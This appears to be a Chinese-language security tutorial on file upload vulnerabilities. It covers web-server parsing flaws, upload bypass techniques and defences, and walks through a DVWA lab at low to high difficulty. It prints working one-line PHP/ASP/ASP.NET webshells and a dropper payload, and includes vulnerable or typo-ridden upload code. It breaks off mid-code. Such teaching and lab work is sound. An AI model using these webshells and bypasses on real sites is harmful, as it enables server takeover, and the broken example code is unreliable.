Web安全-檔案上傳漏洞

ClearSkyQQ發表於2018-12-29

概述

檔案上傳漏洞是指網路攻擊者上傳了一個可執行的檔案到伺服器並執行。這裡上傳的檔案可以是木馬,病毒,惡意指令碼或者WebShell等。這種攻擊方式是最為直接和有效的,部分檔案上傳漏洞的利用技術門檻非常的低,對於攻擊者來說很容易實施。

檔案上傳漏洞本身就是一個危害巨大的漏洞,WebShell更是將這種漏洞的利用無限擴大。大多數的上傳漏洞被利用後攻擊者都會留下WebShell以方便後續進入系統。攻擊者在受影響系統放置或者插入WebShell後,可通過該WebShell更輕鬆,更隱蔽的在服務中為所欲為。這裡需要特別說明的是上傳漏洞的利用經常會使用WebShell,而WebShell的植入遠不止檔案上傳這一種方式。

Webshell簡介

WebShell就是以asp、php、jsp或者cgi等網頁檔案形式存在的一種命令執行環境,也可以將其稱之為一種網頁後門。攻擊者在入侵了一個網站後,通常會將這些asp或php後門檔案與網站伺服器web目錄下正常的網頁檔案混在一起,然後使用瀏覽器來訪問這些後門,得到一個命令執行環境,以達到控制網站伺服器的目的(可以上傳下載或者修改檔案,運算元據庫,執行任意命令等)。

WebShell後門隱蔽較性高,可以輕鬆穿越防火牆,訪問WebShell時不會留下系統日誌,只會在網站的web日誌中留下一些資料提交記錄,沒有經驗的管理員不容易發現入侵痕跡。攻擊者可以將WebShell隱藏在正常檔案中並修改檔案時間增強隱蔽性,也可以採用一些函式對WebShell進行編碼或者拼接以規避檢測。除此之外,通過一句話木馬的小馬來提交功能更強大的大馬可以更容易通過應用本身的檢測,<?php eval($_POST[a]); ?>就是一個最常見最原始的小馬。

檔案上傳漏洞原理

大部分的網站和應用系統都有上傳功能,一些檔案上傳功能實現程式碼沒有嚴格限制使用者上傳的檔案字尾以及檔案型別,導致允許攻擊者向某個可通過Web訪問的目錄上傳任意PHP檔案,並能夠將這些檔案傳遞給PHP直譯器,就可以在遠端伺服器上執行任意PHP指令碼。

當系統存在檔案上傳漏洞時攻擊者可以將病毒,木馬,WebShell,其他惡意指令碼或者是包含了指令碼的圖片上傳到伺服器,這些檔案將對攻擊者後續攻擊提供便利。根據具體漏洞的差異,此處上傳的指令碼可以是正常字尾的PHP,ASP以及JSP指令碼,也可以是篡改字尾後的這幾類指令碼。

1、上傳檔案是病毒或者木馬時,主要用於誘騙使用者或者管理員下載執行或者直接自動執行;
2、上傳檔案是WebShell時,攻擊者可通過這些網頁後門執行命令並控制伺服器;
3、上傳檔案是其他惡意指令碼時,攻擊者可直接執行指令碼進行攻擊;
4、上傳檔案是惡意圖片時,圖片中可能包含了指令碼,載入或者點選這些圖片時指令碼會悄無聲息的執行;

上傳檔案是偽裝成正常字尾的惡意指令碼時,攻擊者可藉助本地檔案包含漏洞(Local File Include)執行該檔案。如將bad.php檔案改名為bad.doc上傳到伺服器,再通過PHP的include,include_once,require,require_once等函式包含執行。

此處造成惡意檔案上傳的原因主要有三種:

1、檔案上傳時檢查不嚴

沒有進行檔案格式檢查。

  • 一些應用僅僅在客戶端進行了檢查,而在專業的攻擊者眼裡幾乎所有的客戶端檢查都等於沒有檢查,攻擊者可以通過NC,Fiddler等斷點上傳工具輕鬆繞過客戶端的檢查;
  • 一些應用雖然在伺服器端進行了黑名單檢查,但是卻可能忽略了大小寫,如將.php改為.Php即可繞過檢查;
  • 一些應用雖然在伺服器端進行了白名單檢查卻忽略了%00截斷符,如應用本來只允許上傳jpg圖片,那麼可以構造檔名為xxx.php%00.jpg,其中%00為十六進位制的0x00字元,.jpg騙過了應用的上傳檔案型別檢測,但對於伺服器來說,因為%00字元截斷的關係,最終上傳的檔案變成了xxx.php

2、檔案上傳後修改檔名時處理不當

一些應用在伺服器端進行了完整的黑名單和白名單過濾,在修改已上傳檔案檔名時卻百密一疏,允許使用者修改檔案字尾。如應用只能上傳.doc檔案時攻擊者可以先將.php檔案字尾修改為.doc,成功上傳後在修改檔名時將字尾改回.php。

3、使用第三方外掛時引入

好多應用都引用了帶有檔案上傳功能的第三方外掛,這些外掛的檔案上傳功能實現上可能有漏洞,攻擊者可通過這些漏洞進行檔案上傳攻擊。如著名的部落格平臺WordPress就有豐富的外掛,而這些外掛中每年都會被挖掘出大量的檔案上傳漏洞。

解析漏洞

解析漏洞: 攻擊者利用上傳漏洞時,通常與web容器的解析漏洞配合在一起。常見的web容器有IIS、Nginx、Apache、Tomcat等。

IIS解析漏洞

IIS6.0在解析檔案時存在以下兩個解析漏洞:

  • 當建立*.asa,*.asp格式的資料夾,其目錄下的任意檔案都將被IIS當作asp檔案解析。例如,建立資料夾parsing.asp,在裡面新建一個test.txt。其內容為 <%=NOW()%>。其內容被IIS當作asp指令碼來解析。

  • 當檔案為*.asp;1.jpg時。同樣會以asp指令碼執行。原理:伺服器預設不解析;號後面的內容,因此xx.asp;.jpg便被解析成asp檔案了。

IIS6.0 預設的可執行檔案除了asp還包含這三種 :

  • /test.asa
  • /test.cer
  • /test.cdx

Apache解析漏洞

(1)漏洞原理

Apache 解析檔案的規則:從右到左開始判斷解析,如果字尾名為不可識別檔案解析,就再往左判斷,直到碰到認識的副檔名為止。如果都不認識,會暴漏原始碼。

比如test.php.qwe.asd 中 “.qwe”和”.asd” 這兩種字尾是apache不可識別解析,apache就會把wooyun.php.qwe.asd解析成php。

(2)漏洞形式

  www.xxxx.xxx.com/test.php.php123

再例如:www.xxser.com/1.php.rar(檔案內容為下列程式碼)

    <?php phpinfo();?>

上述的檔名為1.php.rar,本應彈出下載檔案的提示,但卻顯示了phpinfo()的內容。這就是apache的解析漏洞。

(3)其餘配置問題導致漏洞

  1. 如果在 Apache 的 conf 裡有這樣一行配置 AddHandler php5-script .php
    這時只要檔名裡包含.php 即使檔名是 test2.php.jpg 也會以 php 來執行。
  2. 如果在 Apache 的 conf 裡有這樣一行配置 AddType application/x-httpd-php .jpg
    即使副檔名是 jpg,一樣能以php 方式執行。

Nginx解析漏洞

Nginx是一款高效能的Web伺服器,通常作為PHP的解析容器它,曾被爆出兩個解析漏洞。

    http://www.xxser.com/1.jpg/1.php

此時的1.jpg會被當作PHP指令碼來解析。此時的1.php是不存在的,但1.jpg卻按照php指令碼解析了。問題就在這個"1.php"中(1.php不是特定的,可以隨意命名),這就意味著攻擊者可以上傳圖片木馬,然後在url加上/xxx.php就可以獲得網站的Webshell。

Windows檔案命名

上傳不符合windows檔案命名規則的檔名:

test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA

會被windows系統自動去掉不符合規則符號後面的內容。

繞過上傳漏洞

程式設計師在防止上傳漏洞時可以分為兩種:

  1. 客戶端檢測: 客戶端使用JavaScript檢測,在檔案未上傳時,就對檔案進行驗證。

  2. 伺服器端檢測: 服務端指令碼一般會檢測檔案的MIME型別,檢測副檔名是否合法,甚至是否嵌入惡意程式碼等。

"中國菜刀":僅需要一段簡短的程式碼便可以管理網站。目前支援的伺服器端指令碼包括: php、ASP、ASP.NET、JSP等,並且支援HTPTPS安全連線的網站。

PHP: <?php @eval($_POST['mima']);?>
ASP: <%eval request("mima")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>

"圖片一句話"是將一句話插入在圖片裡面。例如: Edjpgcom這個軟體只需要將圖片拖入程式中,在填寫一句話,就可以製作圖片一句話木馬。

繞過客戶端檢測

很多程式設計師僅通過JavaScript拒絕非法上傳,是十分低階的驗證。例如下列程式碼對副檔名進行驗證,如果不是白名單中的副檔名將不會提交到伺服器。

<html>
<head>
<title>圖片上傳</title>
<script type="text/javascript">
	function checkFile() {
		var flag=false;                                  //是否可以上傳的標誌位
		var str=document.getElementById("file").value;   //獲取檔名
		str=str.substring(str.lastIndexOf('.')+1);    	 //得到副檔名
		var arr=new Array('png','bmp','gif','jpg');		 //允許上傳的副檔名
		for(var i=0;i<arr.length;i++) {
			if(str==arr[i]) {
				flag=true; 								 //判斷檔名是否合法
			}
		}
		if(!flag) {
			alert('檔案不合法');
		}
		return flag;
	}
</script>
</head>
<body>
 
		<from action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
			<input type="file" name="file" id="file" /><br/>
			<input type="submit" value="提交" name="submit" />
		</form>
</body>
</html>		
upload.php用來接收檔案,在接受檔案後,將檔案重新命名放到本目錄下。
<?php
	if(isset($_POST["submit"])) {
		$name= $_FILES['file']['name'];                       //接收檔名
		$name=md5(data('Y-m-d h:m:s')).strrchr($name,".");    //檔名重新命名操作,保留原有副檔名
		$size=$_FILES['files']['size'];                       //接收檔案大小
		$tmp=$_FILES['file']['tmp_name'];                     //臨時路徑
		move_upload_file($tmp,$name);                         //移動臨時檔案到當前檔案目錄
		echo "檔案上傳成功 path:".$name;
	}	
?>

針對客戶端驗證有非常多的繞過方式:

(1) 更改前端JS程式碼

  1. 方法A—修改指令碼JS,將自定義的檔案型別字尾新增進去:在這裡插入圖片描述
    2.方法B —刪除對js驗證指令碼的呼叫,使其不能對上傳的檔案型別做檢測,從而達到繞過。同樣的通過審查元素,檢視到form表單的內容,form的開始標籤為<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">,其中的onsubmit="return checkFile()"的作用就是當點選上傳按鈕的時候,就會觸發js驗證指令碼,所以將這一部分刪除,就可以成功繞過檢測:在這裡插入圖片描述

(2) 中間人攻擊

這種方式與FireBug完全不同,它是使用Burp按照正常的流程通過JavaScript驗證,然後在傳輸中的HTTP層做手腳。首先把木馬副檔名改為一張正常的圖片的副檔名。在上傳時使用Burp攔截資料,將其中的副檔名改為php,就可以繞過客戶端驗證
在這裡插入圖片描述
這裡需要注意: 在HTTP協議中有請求頭Content-Length,代表實體正文長度,而修改filename意為著實體長度的改變。如: Content-Length長度為200.把檔案中的 filename=“xxser.jpg” 修改為 “1.php”,實體正文少了4個字元。所以需要把Content-Length改為196。

小結】任何客戶端驗證都是不安全的。客戶端驗證時防止使用者輸入錯誤,減少伺服器開銷,而伺服器端驗證才可以真正防禦攻擊者。

繞過伺服器端檢測

隨著開發人員安全意識的提高,用前端驗證攻擊行為越來越少,一般放在伺服器端做驗證。主要包含一下幾點: 白名單、黑名單副檔名過濾,檔案型別檢測,檔案重新命名等操作。

(1) 黑名單驗證

黑名單過濾方式:它是一種不安全的方式,黑名單定義了一系列不安全的副檔名。

<?php
	$Blacklist=array('asp','php','jsp','php5','asa','aspx');   //黑名單
	if(isset($_POST["submit"])) {
	$name= $_FILES['file']['name'];                            //接收檔名
	$extension=substr(strrchr($name,"."),1);                   //得到副檔名
	$boo=false;
	foreach($Blacklist as $key => $values) {
		if($value==$extension) {
			$boo=true;
			break;
		}
	}
	if(!boo) {                                                 //如果沒有命中,則開始上傳
		$size=$_FILES['file']['size'];                         //接收檔案大小
		$tmp=$_FILES['file']['tmp_name'];                      //臨時路徑
		move_upload_file($tmp,$name);                          //移動臨時檔案到當前檔案目錄
		echo "檔案上傳成功<br/> path:" .$name;
	} else {
		echo "檔案不合法";
		}
	}	
?>

通過上述程式碼可以看到,如果上傳檔案為 asp、php、jsp.php5、asa、aspx,將不再儲存檔案。但實際效果沒有那麼好,攻擊者可以使用很多方法繞過黑名單檢測:

  1. 可以從黑名單中找到Web開發人員忽略的副檔名,如: asacer 之類;
  2. 在Upload.php中並沒有對接受的副檔名進行大小寫轉換操作,可能存在大小寫繞過漏洞,比如 aSppHp 之類;
  3. 在win系統下,如果檔名是以".“或者空格結尾,系統會自動去除”.“與空格,利用這個可以繞過黑名單驗證,如: 上傳”asp." or "asp "的副檔名程式;
  4. 試一下能被解析的副檔名列表:如 jsp—>jspx—>jspfasp—>asa—>cer—>aspxphp—>php3—>php4exe—>exee

(2)白名單過濾方式

白名單的過濾方式與黑名單相反,比黑名單擁有更好的防禦機制。

<?php
	$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc');   //白名單
	if(isset($_POST["submit"])) {
		$name= $_FILES['file']['name'];                            //接收檔名
		$extension=substr(strrchr($name,"."),1);                   //得到副檔名
		$boo=false;
		foreach($$WhiteList as $key => $value) {
			if($value==$extension) {
				$boo=true;
			}
		}
	if($boo) {
		$size=$_FILES['file']['size'];                            //接收檔案大小
		$tmp=$_FILES['file']['tmp_name'];                         //臨時檔案大小
		move_upload_file($tmp,$name);                             //移動臨時檔案到當前檔案目錄
		echo "檔案上傳成功<br/> path:".$name;
	} else {
		echo "檔案不合法";
		}
	}	
?>	

白名單僅僅是防禦上傳漏洞的第一步。白名單並不能完全防禦上傳漏洞,就像前面說的IIS解析漏洞一樣,可以順利通過驗證。

(3)MIME驗證

MIME(Multipurpose Internet Mail Extensions)多用途網際網路郵件擴充套件型別。是設定某種副檔名的檔案用一種應用程式來開啟的方式型別,當該副檔名檔案被訪問的時候,瀏覽器會自動使用指定應用程式來開啟。多用於指定一些客戶端自定義的檔名,以及一些媒體檔案開啟方式。如:gif圖片MIME為 image/gif,CSS檔案MIME型別為text/css

MIME的作用是使客戶端軟體區分不同種類的資料,例如web瀏覽器就是通過MIME型別來判斷檔案是GIF圖片,還是可列印的PostScript檔案。 Web伺服器使用MIME來說明傳送資料的種類,Web客戶端使用MIME來說明希望接收到的資料種類。

上傳時,開發人員會對檔案MIME型別做驗證:

if($_FILES['file']['type']=="img/jpeg") {  //判斷是否時JPG格式
	$imageTempName=$_FILES['file']['tmp_name'];
	$imageName=$_FILES['file']['name'];
	$last=substr($imageName,strrpos($imageName,"."));
	if(!is_dir("uploadFile")) {
		mkdir("uploadFile");
	}
	$imageName=md5($imageName).$last;
	move_upload_file($imageTempName,"./uploadFile/".$imageName); //指定上傳檔案到uploadFile目錄
	echo("檔案上傳成功 path=/upload/$imageName");
	} else {
		echo("檔案型別錯誤,請重新上傳");
		exit();
	}

上傳php檔案時,並使用Burp攔截檢視MIME型別,更改Content-Type即可通過驗證。
在這裡插入圖片描述(4)檔案頭校驗

有的後臺通過自己寫正則匹配,判斷檔案頭內容是否符合要求,這裡舉幾個常見的檔案頭對應關係:

檔案型別 檔案頭
.JPEG .JPE .JPG JPGGraphic File
.gif GIF 89A
.zip Zip Compressed
.doc .xls .xlt .ppt .apr MS Compound Document v1 or Lotus Approach APRfile

檔案頭過濾主要是通過驗證圖片的檔案頭的方式來判斷是不是圖片檔案。例如GIF圖片的檔案頭就是GIF89a。此時的繞過方法很簡單:在木馬內容基礎上再加了一些檔案資訊,如此結構GIF89a<?php phpinfo(); ?>

(5)目錄驗證

在檔案上傳時,程式允許使用者將檔案放到指定的目錄中,而有些開發人員通常會做一個操作,如果目錄存在,就將目錄寫入,不存在則先建立目錄,再寫入。

<form action="upload.php" method="post" enctype="multipart/form-data">
	<input type="file" name="file" /><br/>
	<input type="hidden" name="Extension" value="up" />
	<input type="submit" value="提交" name="submit" />
</form>
 
PHP Code:
if($_FILES['file']['type']=="image/jpeg") {
	$imageTempName=$_FILES['file']['tmp_name'];
	$imageName=$_FILES['file']['name'];
	$last=substr($imageName,strrpos($imageName,".")); //獲取副檔名
	if($last!=".jpg") {
	exit("圖片型別錯誤");
	}
	$Extension=$_POST['Extension'];                  //獲取檔案上傳目錄
	if(!is_dir($Extension)) {                        //如果檔案不存在,就建立
		mkdir($Extension)
	}
	$imageName=md5($imageName).$last;
	move_upload_file($imageTempName,"./$Extension/".$imageName);
	echo("檔案上傳成功 path=/$Extension/$imageName");
	} else("檔案型別錯誤,請重新上傳");
	exit();
}
在Upload.php中有一下程式碼
if(!is_dir($Extension)) {
		mkdir($Extension);
}

這段程式碼是引發漏洞的關鍵點,因為HTML中有一個隱藏標籤<input type="hidden" name="Extension" value="up" />這是檔案上傳預設的資料夾,而我們可以更改此引數: 使用FireBug將Value值改為pentest.asp,並提交上傳一句話圖片木馬檔案。程式在接受檔案後,對目錄判斷,如果伺服器不存在pentest.asp目錄,如果Web容器為IIS 6.0,那麼網頁木馬被解析。

(6)截斷上傳攻擊

截斷上傳攻擊在ASP程式中最常見,下列是一段簡單的ASP程式碼:

<%
	username=request("username")
	Response.wrtie(username)
%>

這兩句程式碼非常簡單,接收username值,輸出。

訪問 url:http://www.xxser.com:801/test.asp?username=xxser%00admin 結果只輸出"xxser",%00將後面的字元都截斷了。

截斷上傳攻擊原理:

繞過檔案上傳檢查功能一般都是通過檔名字尾檢查。但是在某些時候,攻擊者手動修改了上傳過程中的POST包,在檔名後新增一個%00位元組額,則可以截斷某些函式對檔名的判斷
因為在許多語言的函式中,比如在C、PHP等語言的常用字串處理函式中,0x00被認為是終止符。受此影響的環境有Web應用和一些伺服器。比如應用原本只允許上傳JPG圖片,那麼可以構造檔名為xxx.php[\0].JPG,其中[\0]為十六進位制的0x00字元,.JPG繞過了應用的上傳檔案型別判斷;但對於伺服器來說,此檔案因為0x00字元截斷的關係,最終卻變成了xxx.php。

漏洞檢測與防禦

檢測檔案上傳漏洞

1、檢測條件:

(1)已知Web網站在登入前或者登入後具有上傳頁面。
(2)上傳的檔案具備可執行性或能夠影響伺服器行為,所以檔案所在的目錄必須在WEB容器覆蓋的路徑之內。
(3)使用者可以從WEB上訪問這個檔案,從而使得WEB容器解釋執行該檔案。
(4)上傳後的檔案必須經過安全檢查,不會被格式化、壓縮等處理改變其內容。

2、總體的測試流程:

(1)登陸網站,並開啟檔案上傳頁面。

(2)點選“瀏覽”按鈕,並選擇本地的一個JSP檔案(比如hacker.jsp),確認上傳。

(3)如果客戶端指令碼限制了上傳檔案的型別(比如允許gif檔案),則把hacker.jsp更名為hacker.gif;配置HTTP Proxy(burp)進行http請求攔截;重新點選“瀏覽”按鈕,並選擇hacker.gift,確認上傳。

(4)在WebScarab攔截的HTTP請求資料中,將hacker.gif修改為hacker.jsp,再傳送請求資料。

(5)登陸後臺伺服器,用命令find / -name hacker.jsp檢視hacker.jsp檔案存放的路徑。如果可以直接以Web方式訪問,則構造訪問的URL,並通過瀏覽器訪問hacker.jsp,如果可以正常訪問,則已經取得WebShell,測試結束。如果hacker.jsp無法通過web方式訪問,例如hacker.jsp存放在/home/tmp/目錄下,而/home/tomcat/webapps目錄對應http://www.example.com/,則進行下一步。

(6)重複1~3,在burp攔截的HTTP請求資料中,將hacker.gif修改為../tomcat/webapps/hacker.jsp,再傳送請求資料。在瀏覽器位址列輸入http://www.example.com/hacker.jsp,訪問該後門程式,取得WebShell,結束檢測。

防禦檔案上傳漏洞

上傳漏洞攻擊形成的幾個條件:

1、上傳的檔案能夠被Web容器解釋執行。所以檔案上傳後所在的目錄要是Web容器所覆蓋到的路徑。
2、使用者能夠從Web上訪問這個檔案。如果檔案上傳了,但使用者無法通過Web訪問,或者無法得到Web容器解釋這個指令碼,那麼也不能稱之為漏洞。
3、使用者上傳的檔案若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。

所以上傳漏洞最終的形成原因有以下兩點:

1、目錄過濾不嚴,攻擊者可以建立畸形目錄
2、檔案未重新命名,攻擊者可能利用Web容器解析漏洞

如果把握這兩點風險就會大大降低。

<?php
	if(!isset($_POST['submit'])) {
		exit();
	}
	$arr=Array('jpg','gif','jpeg','png','rar','zip','doc','docx');    //白名單
	$imageTempName=$_FILES['file']['tmp_name'];                       //接收臨時檔案路徑
	$imageName=$_FILES['file']['name'];                               //接收檔名稱
	$last=strtolower(substr($imageName,strrpos($imageName,".")+1));   //取得副檔名,轉換為小寫
	if(!in_array($last,$arr)) {
		exit("不支援上傳的副檔名.$last");
	}
	$Extension=$_POST['Extension'];                                   //獲得檔案上傳目錄
	$imageName=md5($imageName).".".$last;                             //對檔案重新命名
	move_upload_file($imageTempName,"./$Extension/".$imageName);
	echo("檔案上傳成功 path=/$Extension/$imageName");
?>

上述程式碼基本可以解決上傳漏洞,但不能完全防禦。比如Web容器為Apache,並不能識別RAR格式,那麼就可以上傳"正常檔案",配合Apache解析漏洞入侵。

防範檔案上傳漏洞常見的幾種方法

1、檔案上傳的目錄設定為不可執行

最有效的,將檔案上傳目錄直接設定為不可執行,對於Linux而言,撤銷其目錄的’x’許可權;實際中很多大型網站的上傳應用都會放置在獨立的儲存上作為靜態檔案處理,一是方便使用快取加速降低能耗,二是杜絕了指令碼執行的可能性。

2、判斷檔案型別

在判斷檔案型別時,可以結合使用MIME Type、字尾檢查等方式。在檔案型別檢查中,強烈推薦白名單方式,黑名單的方式已經無數次被證明是不可靠的。此外,對於圖片的處理,可以使用壓縮函式或者resize函式,在處理圖片的同時破壞圖片中可能包含的HTML程式碼。

3、使用隨機數改寫檔名和檔案路徑

檔案上傳如果要執行程式碼,則需要使用者能夠訪問到這個檔案。在某些環境中,使用者能上傳,但不能訪問。如果應用了隨機數改寫了檔名和路徑,將極大地增加攻擊的成本。再來就是像shell.php.rar.rar和crossdomain.xml這種檔案,都將因為重新命名而無法攻擊。

4、單獨設定檔案伺服器的域名

由於瀏覽器同源策略的關係,一系列客戶端攻擊將失效,比如上傳crossdomain.xml、上傳包含Javascript的XSS利用等問題將得到解決。

DVWA

檔案上傳漏洞是指由於伺服器對於使用者上傳部分的控制不嚴格導致攻擊者可以上傳一個惡意的可執行的檔案到伺服器。簡單點說,就是使用者直接或者通過各種繞過方式將Webshell上傳到伺服器中進而執行利用

本次實驗我們將利用檔案上傳漏洞,上傳一句話木馬,然後使用中國菜刀工具,控制整個網站後臺!

實驗準備】首先在本地(桌面)儲存一句話木馬檔案Hack.php(用記事本編寫後修改檔案字尾即可):

  <?php @eval($_POST['pass']);?>

接下來進入DVWA平臺:http://127.0.0.1:8088/DVWA/index.php ,準備開始實驗。
在這裡插入圖片描述

Low

檢視後臺原始碼:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
  }
?>

從原始碼中發現,low級別未對上傳的檔案進行任何驗證。所以可以直接上傳PHP或者ASP一句話木馬,此例採用php。

(1)我們將準備好的一句話木馬直接上傳,然後就可以看到回顯的路徑:
在這裡插入圖片描述在這裡插入圖片描述
(2)接著就可以用菜刀連線了,菜刀介面右鍵,然後點選新增。然後填寫相關的資料,如下圖:

在這裡插入圖片描述“中國菜刀”頁面操作說明:

1、是連線的URL,就是網站的主路徑然後加上上傳檔案時回顯的儲存路徑;
2、是菜刀連線時的密碼,就是上面圖片一句話提交的資料(本例為"pass");
3、是一句話的解析型別,可以是asp,php,aspx。不同的解析型別的一句話內容不一樣,檔案字尾名不一樣。

(3)然後可以看連線成功的介面:
在這裡插入圖片描述(4)接著雙擊或者右鍵“檔案管理”,進入以下介面:
在這裡插入圖片描述我們看到了整個網站的結構和檔案,甚至是暴漏了我整個電腦主機的磁碟儲存!!可以進行任意非法增刪查改!!網站(主機)至此淪陷……
在這裡插入圖片描述

Medium

同樣,先看看後臺原始碼:

 <?php
  if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>

從原始碼中可以看出,該安全級別下的系統,上傳檔案時,對檔案進行了字尾名驗證,在if語句中判斷上傳檔案的型別是否為“image/jpeg”和大小是否小於100kb
在這裡插入圖片描述
但是驗證的程式由本地的js來進行,所以破解思路為先將一句話木馬改名為符合要求的格式,然後使用Burp Suite 進行抓包,修改上傳的檔案型別。
在這裡插入圖片描述
接下來我們們開始上傳Hack.PNG檔案,並使用BurpSuite抓包並修改檔案字尾:
在這裡插入圖片描述在這裡插入圖片描述
可以發現,已經將非法檔案Hack.php成功上傳!!!
在這裡插入圖片描述然後使用菜刀連線並進行攻擊,和之前的連線方法一樣,不贅述了。

這個例子告訴我們:客戶端的驗證不能依靠!!!我們成功使用BurpSuite繞過了客戶端前端的檔案格式驗證。所以為了預防檔案上傳漏洞,需要在伺服器進行檔案格式的驗證。

High

繼續先檢視原始碼:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>

我們需要將上傳檔案的檔案頭偽裝成圖片,首先利用copy命令將一句話木馬檔案Hack.php與正常的圖片檔案ClearSky.jpg合併:
在這裡插入圖片描述

【備註】以下為CMD下用copy命令製作“圖片木馬”的步驟,其中,ClearSky.jpg/b中“b”表示“二進位制檔案”,hack.php/a中“a"表示ASCII碼檔案

在這裡插入圖片描述
生成帶有木馬的圖片檔案hack.jpg
在這裡插入圖片描述
接著我們開啟生成的圖片木馬檔案,我們可以看到一句話木馬已附在圖片檔案末尾:
在這裡插入圖片描述
然後我們試著將生成的木馬圖片檔案hack.jpg上傳,上傳成功!!!
在這裡插入圖片描述訪問圖片木馬:
在這裡插入圖片描述

接下來,上菜刀!!!!!!!!!!!
在這裡插入圖片描述
但是由於是圖片木馬,PHP指令碼並無法被解析,菜刀連線木馬失敗:
在這裡插入圖片描述
既然圖片木馬也無法解析,那該怎麼辦?High級別的程式只允許上傳圖片啊……別慌,此處結合DVWA靶場自帶的檔案包含漏洞即可成功上傳PHP木馬並上菜刀連線了,下面進行攻擊演示。

首先通過上述方法制造新的圖片木馬,圖片檔案後面的PHP指令碼更改為:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

然後製作新的圖片木馬,如下圖所示:
在這裡插入圖片描述
接著上傳到DVWA,然後藉助檔案包含漏洞模組訪問該木馬檔案:
在這裡插入圖片描述訪問的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下圖所示:
在這裡插入圖片描述此時在DVWA檔案包含漏洞的路徑下便自動生成了PHP一句話木馬指令碼檔案muma.php,如下圖所示:
在這裡插入圖片描述
此時再上菜刀連線,即可成功連線:
在這裡插入圖片描述
在這裡插入圖片描述

至此,我們成功結合檔案包含漏洞,在只能上傳圖片的檔案上傳功能處上傳圖片木馬並生成一句話木馬。最後附上一篇博文,介紹了圖片木馬+解析漏洞的利用:PHP圖片木馬

Impossible

繼續檢視原始碼先:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
